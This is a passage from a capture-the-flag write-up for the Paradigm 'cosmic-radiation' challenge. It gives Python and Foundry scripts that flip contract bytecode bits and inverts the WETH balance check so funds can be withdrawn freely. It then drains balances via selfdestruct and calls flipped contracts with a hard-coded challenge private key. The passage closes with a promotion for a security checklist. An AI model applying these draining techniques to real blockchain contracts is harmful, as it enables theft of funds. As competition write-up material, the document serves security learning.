rpc_url="http://cosmic-radiation.challenges.paradigm.xyz:8545/0c47e64f-6ca9-4bcb-8f78-138b68e17b09/main" target_bytes = int("33ff5f5ff3", 16) def to_pos(binary): pos = 0 count = 0 out='' for b in binary: if b == "1": out+=f":{pos}" pos += 1 return out def gen_flip(): flip_str = '' for addr in addr_list: addr = addr[:-1] x = subprocess.check_output(["cast","code", addr, '--rpc-url', rpc_url]) b = int(str(x)[4:14], 16) xor = target_bytes ^ b pos = to_pos(f'{xor:0&gt;40b}') flip_str += f'{addr}{pos},' print(flip_str) gen_flip() Start instance and flip. python3 -c 'print("clo9q5g8h07d5s619jp1i27nq\n1\n0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2:20703,0x00000000219ab540356cbb839cbe05303d7705fa:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x8315177ab297ba92a06054ce80a67ed4dbd7ed3a:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xc61b9bb3a7a0767e3179713f3a5c7a9aedce193c:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x61edcdf5bb737adffe5043706e7c5bb1f1a56eea:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xde0b295669a9fd93d5f28d9ec85e40f4cb697bae:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x3bfc20f0b9afcace800d73d2191166ff16540258:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xbeb5fc579115071764c7423a4f12edde41f106ed:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x4ddc2d193948926d02f9b1fe9e1daa0718270ed5:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x220866b1a2219f40e72f5c628b65d54268ca3a9d:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x78605df79524164911c144801f41e9811b7db73d:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x8484ef722627bf18ca5ae6bcf031c23e6e922b30:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xafcd96e580138cfa2332c632e66308eacd45c5da:5:7:8:9:14:17:18:22:25:26:28:32:33:36:37:38,0x32400084c286cf3e17e7b677ea9583e60a000324:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x49048044d57e1c92a77f79988d21fa8faf74e97e:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x7da82c7ab4771ff031b66538d2fb9b0b047f6cf9:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x0c23fc0ef06716d2f8ba19bc4bed56d045581f2d:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x1db92e2eebc8e0c075a02bea49a2935bcd2dfcf4:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x376c3e5547c68bc26240d8dcc6729fff665a4448:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xa160cdab225685da1d56aa342ad8841c3b53f291:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x3262f13a39efaca789ae58390441c9ed76bc658a:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xbddf00563c9abd25b576017f08c46982012f12be:5:7:8:9:14:17:18:22:25:26:28:32:33:36:37:38,0xbf4ed7b27f1d666546e30d74d50d173d20bca754:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xcafea112db32436c2390f5ec988f3adb96870627:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x3d9256ad37128e9f47b34a82e06e981719477c18:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x755cdba6ae4f479f7164792b318b2a06c759833b:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x1e143b2588705dfea63a17f2032ca123df995ce0:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xae0ee0a63a2ce6baeeffe56e7714fb4efe48d419:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x111cff45948819988857bbf1966a0399e0d1141e:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xdc24316b9ae028f1497c275eb9192a3ea0f67022:1:3:6:7:8:9:10:11:12:14:15:17:18:20:23:25:28:29:30:31:32:33:34:37:38,0x795cbc7a670d06e56cd2197d4ca175e081a416ad:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x7442041898dc3f8ed76fa4e00a762064c87991c8:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x441d3663b321fd828350411641d7c9d57a183fcb:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x651bbd829a7cbd32f35dfc099cbde1e04789393c:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x78e3984e1ab1c3eb560cbd5b42b635e1cd341bc2:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xf2d4766ad705e3a5c9ba5b0436b473085f82f82f:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x914b432dad9c29c081f93d84790919335bcbd33f:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xe825363f3bedabc95b2a9d42dbc73ec7b82b57d3:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xb203e1170a30e68dc5b20aac08aa42619842c79e:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x21346283a31a5ad10fa64377e77a8900ac12d469:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x0000000000a39bb272e79075ade125fd351887ac:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xd69b0089d9ca950640f5dc9931a41a5965f00303:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xd19d4b5d358258f05d7b411e21a1460d11b0876f:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x22650fcf7e175ffe008ea18a90486d7ba0f51e41:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x64192819ac13ef72bf6b5ae239ac672b43a9af08:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xdca6ab9508d28c0eb7b120b8252041edcb56753f:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xcafe1a77e84698c83ca8931f54a755176ef75f2c:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x4399f61795d3e50096e236a6d31ab24470c99fd5:5:7:8:9:14:17:18:22:25:26:28:32:33:36:37:38,0xabea9132b05a70803a4e85094fd0e1800777fbef:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x75fbd58ba18c80955bbb4c9fd46b83dc6bb68980:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x95fc37a27a2f68e3a647cdc081f0a89bb47c3012:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xf4e11b89519eccd988a56749f1c64ad9bfe0298f:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xa646e29877d52b9e2de457eca09c724ff16d0a2b:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xf8092d0679cc835b3d51d46163e649f2de5c680d:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x43ab622752d766d694c005acfb78b1fc60f35b69:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xcddf488f1c826160ee832d4f1492f00cf8557ff6:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x92982bccb608936be803fad34c03414e888ee1de:5:7:8:9:14:17:18:22:25:26:28:32:33:36:37:38,0xebec795c9c8bbd61ffc14a6662944748f299cacf:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xffc19fe32623c6aeccdbae37f631589a45196385:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xd135913f966d874078822b06b50a645a665d9f6c:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xd6a062cae6123c158768a5c444ca0896cc60d6b1:5:7:8:11:12:13:14:15:17:19:20:21:22:23:24:25:27:28:29:30:31:32:33:37,0xf17d119effa0dcbe24d3fa346860be851150358f:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x21e27a5e5513d6e65c4f830167390997aa84843a:5:7:8:9:14:17:18:22:25:26:28:32:33:36:37:38,0x3bdc69c4e5e13e52a65f5583c23efb9636b469d6:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xa9d1e08c7793af67e9d92fe308d5697fb81d3e43:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xb55703d907c93cfc1632c994a0202e42877c07ff:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xdc81b4b18881535ae033d924e6c9719348bdd3b8:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x2a0c0dbecc7e4d658f48e01e3fa353f44050c208:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x27fd43babfbe83a81d14665b1a6fb8030a60c9b4:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x756d64dc5edb56740fc617628dc832ddbcfd373c:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x15c126f55a48e4fee27f864d477e8f175ce80284:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xc7cd9d874f93f2409f39a95987b3e3c738313925:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x8d12a197cb00d4747a1fe03395095ce2a5cc6819:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x3d019cfecd722b76807dd2fad24376306d179277:5:7:8:9:14:17:18:22:25:26:28:32:33:36:37:38,0x36eed1a4dd70f0731dd20ef76c32345185a8a042:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xfe80804d2e3ab78a13ce90f45b2803cf9bbd1f51:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x889edc2edab5f40e902b864ad4d7ade8e412f9b1:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xb8e6d31e7b212b2b7250ee9c26c56cebbfbe6b23:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xe25a329d385f77df5d4ed56265babe2b99a5436e:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x717e889671f07ac04b243b612b2eed394ff630ca:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x5b97a1cd49754878630524298296abcad2b4cc2d:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xfb633f47a84a1450ee0413f2c32dc1772ccaea3e:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x23ea10cc1e6ebdb499d24e45369a35f43627062f:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x80d2d68e38472da11cf7f1cc6465ddcfa8d1f778:5:7:8:9:14:17:18:22:25:26:28:32:33:36:37:38,0x3b454e25cc00d3b0259df105900e39365bb7f321:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xaa06a9e8c44db313725f658a25f60df0ae5c1f72:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x4f2083f5fbede34c2714affb3105539775f7fe64:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xb8901acb165ed027e32754e0ffe830802919727f:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xbd02c51150a4ab6ce97b9de2025644594f3e75b8:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x8d501afb7dd7dada424b8c1f331b5909e44a043f:5:7:8:9:14:17:18:22:25:26:28:32:33:36:37:38,0xcaacf7d9e40d0f4db66419d678a8d46de74b0c02:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x910cbd523d972eb0a6f4cae4618ad62622b39dbf:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xd39988dd92ffd85b9ee2b6d05148140b0b9cdee6:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x3ad2fcd6a2ce246e890826c9bcca20f06ce11083:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x12da64f9c7b4e9a73f9e177cd18c40cf307306f4:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xf42c318dbfbaab0eee040279c6a2588fa01a961d:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xc1ebd02f738644983b6c4b2d440b8e77dde276bd:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xf5c9f957705bea56a7e806943f98f7777b995826:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x1bf68a9d1eaee7826b3593c20a0ca93293cb489a:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39")' | nc cosmic-radiation.challenges.paradigm.xyz 1337 Note: We flipped 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2:20703 (WETH) manually on the balance checking in withdraw, changing lt to gt opcode. Send transactions to the flipped addresses. attack.py import os import subprocess f = open("addr_list.txt", "r") addr_list = f.readlines() rpc_url="http://cosmic-radiation.challenges.paradigm.xyz:8545/0c47e64f-6ca9-4bcb-8f78-138b68e17b09/main" priv_key="0xa0d1056e5dcc70f1c0935569d2f1ad1824d3a0d732a4c12edee465eece7fa25e" def attk(): # cast send $beacon_addr --rpc-url $rpc_url --private-key $priv_key "x()" for addr in addr_list: addr = addr[:-1] print(addr) try: x = subprocess.check_output(["cast","send", addr, '--rpc-url', rpc_url, "--private-key", priv_key, 'x()']) except: continue attk() Note: This takes time; creating a contract to call the targets is MUCH better and can be done instantly. Don’t forget to withdraw WETH we manually flipped too! cast send $weth_addr --rpc-url $rpc_url --private-key $priv_key "withdraw(uint256)" -- 3202617056036948921024512 Send balance to challenge address via selfdestruct. Solve.sol // SPDX-License-Identifier: UNLICENSED pragma solidity &gt;=0.6.2 &lt;0.9.0; contract Solve { constructor(address target) payable { selfdestruct(payable(target)); } } my_addr=`cast wallet a $priv_key` cast balance $my_addr --rpc-url $rpc_url forge create --rpc-url $rpc_url --private-key $priv_key -C . Solve.sol:Solve --value 42191882736096474904406008 --constructor-args $target_addr Finally, with this power, our team got 42,191,882 ETH in total. Since the release of our new Smart Contract Security Testing Guide Checklist , we’ve also planned to release more plugins to detect the common issues from our security checklist to cover the whole checklist. The tools we will choose to implement are still a secret. For now, you can use our checklist and the built-in detectors and rules as a guide.